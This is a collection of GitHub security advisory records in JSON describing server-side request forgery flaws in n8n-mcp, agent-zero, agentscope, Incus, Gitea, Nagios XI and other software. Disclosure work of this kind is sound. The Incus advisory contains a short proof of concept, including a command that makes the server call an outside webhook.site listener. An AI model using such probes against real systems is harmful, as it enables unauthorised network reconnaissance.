CWE-918

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.50.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:00:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\n\n`n8n-mcp` versions before 2.50.1 contained three independently-reported issues affecting deployments that run the n8n API integration:\n\n1. **Caller-supplied identifiers were not validated before being used as URL path segments** by the n8n API client. An authenticated MCP caller passing a crafted workflow id could cause outbound requests carrying the configured n8n API key to land on other same-origin endpoints, bypassing handler-level access controls (including `DISABLED_TOOLS`).\n\n2. **Validated webhook, form, and chat trigger URLs followed redirects.** A URL that passed initial validation could redirect the outbound request to a host that would otherwise have been rejected, with the response body returned to the caller. Reachable as non-blind SSRF over authenticated MCP calls.\n\n3. **Mutation telemetry stored unredacted operation payloads.** On instances running with the default opt-in telemetry, partial-update operation diffs were uploaded without redaction. Operation values can carry the same node-parameter values the workflow contains, including bearer tokens, API keys, and webhook secrets.\n\n## Severity\n\nCVSS 8.3 (HIGH). Exploitation requires an authenticated MCP caller and an n8n API integration configured with an n8n API key.\n\n## Patched versions\n\nUpgrade to `n8n-mcp \u003e= 2.50.1`.\n\n## Workarounds\n\n- For issues (1) and (2): restrict network access to the HTTP transport (firewall, reverse-proxy ACL, or VPN) so only trusted callers can reach the MCP HTTP port; or switch to stdio mode, which exposes no HTTP surface for these issues.\n- For issue (3): set `N8N_MCP_TELEMETRY_DISABLED=true` in the environment before starting the server, or run `npx n8n-mcp telemetry disable` once.\n\n## Credit\n\nReported by @cybercraftsolutionsllc.",
  "id": "GHSA-8g7g-hmwm-6rv2",
  "modified": "2026-05-08T17:00:09Z",
  "published": "2026-05-08T17:00:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-8g7g-hmwm-6rv2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/commit/1cfe9c6bddb4b1634e6e23323c18ea35fd196999"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/czlonkowski/n8n-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.50.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "n8n-mcp affected by path traversal, redirect-following SSRF, and telemetry payload exposure"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-4308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-17T04:16:24Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in frdel/agent0ai agent-zero 0.9.7. This affects the function handle_pdf_document of the file python/helpers/document_query.py. This manipulation causes server-side request forgery. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8g9j-3hrr-2hvm",
  "modified": "2026-03-17T06:31:32Z",
  "published": "2026-03-17T06:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4308"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/c99c44aa019266a72636757308d43989"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/c99c44aa019266a72636757308d43989#poc"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.351338"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.351338"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.773950"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "agentscope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-28T23:20:08Z",
    "nvd_published_at": "2026-04-20T05:16:15Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in modelscope agentscope up to 1.0.18. This affects the function _get_bytes_from_web_url of the file src/agentscope/_utils/_common.py of the component Internal Service. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8ggf-r3vm-p3jc",
  "modified": "2026-04-28T23:20:08Z",
  "published": "2026-04-20T06:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6605"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/ced2d438ae79a5a11cea663c1ba2c954"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentscope-ai/agentscope"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/792225"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/358240"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/358240/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AgentScope vulnerable to Server-Side Request Forgery"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-1561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T21:16:28Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.3 IBM WebSphere Application Server Liberty is vulnerable to server-side request forgery (SSRF). This may allow remote attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-8gm5-jf6f-36wc",
  "modified": "2026-03-25T21:30:36Z",
  "published": "2026-03-25T21:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1561"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7267347"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-35313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-20T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A server-side request forgery (SSRF) vulnerability in the addCustomThemePluginRepository function in index.php in WonderCMS 3.1.3 allows remote attackers to execute arbitrary code via a crafted URL to the theme/plugin installer.",
  "id": "GHSA-8gp2-9vcg-vwj6",
  "modified": "2024-04-04T03:06:18Z",
  "published": "2022-05-24T17:48:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/robiso/wondercms"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/160310/WonderCMS-3.1.3-Code-Execution-Server-Side-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "https://zetc0de.github.io/post/authenticated-rce-ssrf-wondercms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-64799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T10:16:51Z",
    "severity": null
  },
  "details": "Content-controlled image URLs could request private or reserved network services, follow unsafe redirects and save responses without validating that they were images. This could result in SSRF, internal-data access or writing attacker-controlled files into a web-accessible folder.",
  "id": "GHSA-8gqm-83x8-pxx4",
  "modified": "2026-07-23T12:32:22Z",
  "published": "2026-07-23T12:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64799"
    },
    {
      "type": "WEB",
      "url": "https://regularlabs.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-6142"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-16T22:16:41Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Intera InHire up to 20250530. It has been declared as critical. Affected by this vulnerability is an unknown functionality. The manipulation of the argument 29chcotoo9 leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8gr3-7cp8-2rc9",
  "modified": "2025-06-17T00:30:30Z",
  "published": "2025-06-17T00:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6142"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1-doSYzFeLaKtd_b6RmpBtZ5qtsvu4gYI/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.312613"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.312613"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.587665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-37223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-05T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Nagios Enterprises NagiosXI \u003c= 5.8.4 contains a Server-Side Request Forgery (SSRF) vulnerability in schedulereport.php. Any authenticated user can create scheduled reports containing PDF screenshots of any view in the NagiosXI application. Due to lack of input sanitisation, the target page can be replaced with an SSRF payload to access internal resources or disclose local system files.",
  "id": "GHSA-8gvx-2fxm-77jm",
  "modified": "2026-07-05T00:31:23Z",
  "published": "2022-05-24T19:16:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37223"
    },
    {
      "type": "WEB",
      "url": "https://www.nagios.com/downloads/nagios-xi/change-log"
    },
    {
      "type": "WEB",
      "url": "http://nagios.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T16:53:01Z",
    "nvd_published_at": "2026-05-05T21:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA partial implementation of our `restricted.images.servers` project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.\n\nThe actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.\n\n### Details\nThe image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.\n\nA host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go \n\nAffected Code:\n```\nfunc imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {\n    [...]\n    head, err := http.NewRequest(\"HEAD\", req.Source.URL, nil)\n    if err != nil {\n        return nil, err\n    }\n\n    [...]\n\n\n    head.Header.Set(\"User-Agent\", version.UserAgent)\n    head.Header.Set(\"Incus-Server-Architectures\", strings.Join(architectures, \", \"))\n    head.Header.Set(\"Incus-Server-Version\", version.Version)\n\n    raw, err := myhttp.Do(head)\n    if err != nil {\n        return nil, err\n    }\n\n    hash := raw.Header.Get(\"Incus-Image-Hash\")\n    if hash == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-Hash header\")\n    }\n\n    url := raw.Header.Get(\"Incus-Image-URL\")\n    if url == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-URL header\")\n    }\n\n    info, _, err := ImageDownload(ctx, r, s, op, \u0026ImageDownloadArgs{\n        Server:      url,\n        Protocol:    \"direct\",\n        Alias:       hash,\n        AutoUpdate:  req.AutoUpdate,\n        Public:      req.Public,\n        ProjectName: project,\n        Budget:      budget,\n    })\n    [...]\n}\n```\n\nThe following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.\n\nStep 1: Select the reproduction project\n\nFrom an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.\n\nCommand:\n```\nincus project switch restricted\n```\n\nStep 2: Trigger the preflight request to an arbitrary URL\n\nFrom the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.\n\nCommand:\n```\nincus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image\n```\n\nResult:\n```\nError: Missing Incus-Image-Hash header\n```\n\nStep 3: Verify the outbound HEAD request in the external listener\n\nIn the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.\n\nResult:\n```\nHEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1\nHost: webhook.site\nUser-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)\nIncus-Server-Version: 6.22\nIncus-Server-Architectures: x86_64, i686\n```\n\nIt is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "id": "GHSA-8gw4-p4wq-4hcv",
  "modified": "2026-05-08T15:30:49Z",
  "published": "2026-05-04T16:53:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35527"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus has Blind SSRF via Image Import Preflight HEAD"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-gitea/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-45325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-14T19:58:31Z",
    "nvd_published_at": "2022-02-08T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Gitea is a project to help users set up a self-hosted Git service. Server Side Request Forgery (SSRF) vulnerability exists in Gitea before 1.7.0 using the OpenID URL. Gitea can leak sensitive information about the local network through the error provided by the UI. ",
  "id": "GHSA-8h8p-x289-vvqr",
  "modified": "2022-02-14T21:42:51Z",
  "published": "2022-02-09T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/issues/4973"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/5705"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/5712"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.io/2019/01/gitea-1.7.0-is-released"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea displaying raw OpenID error in UI"
}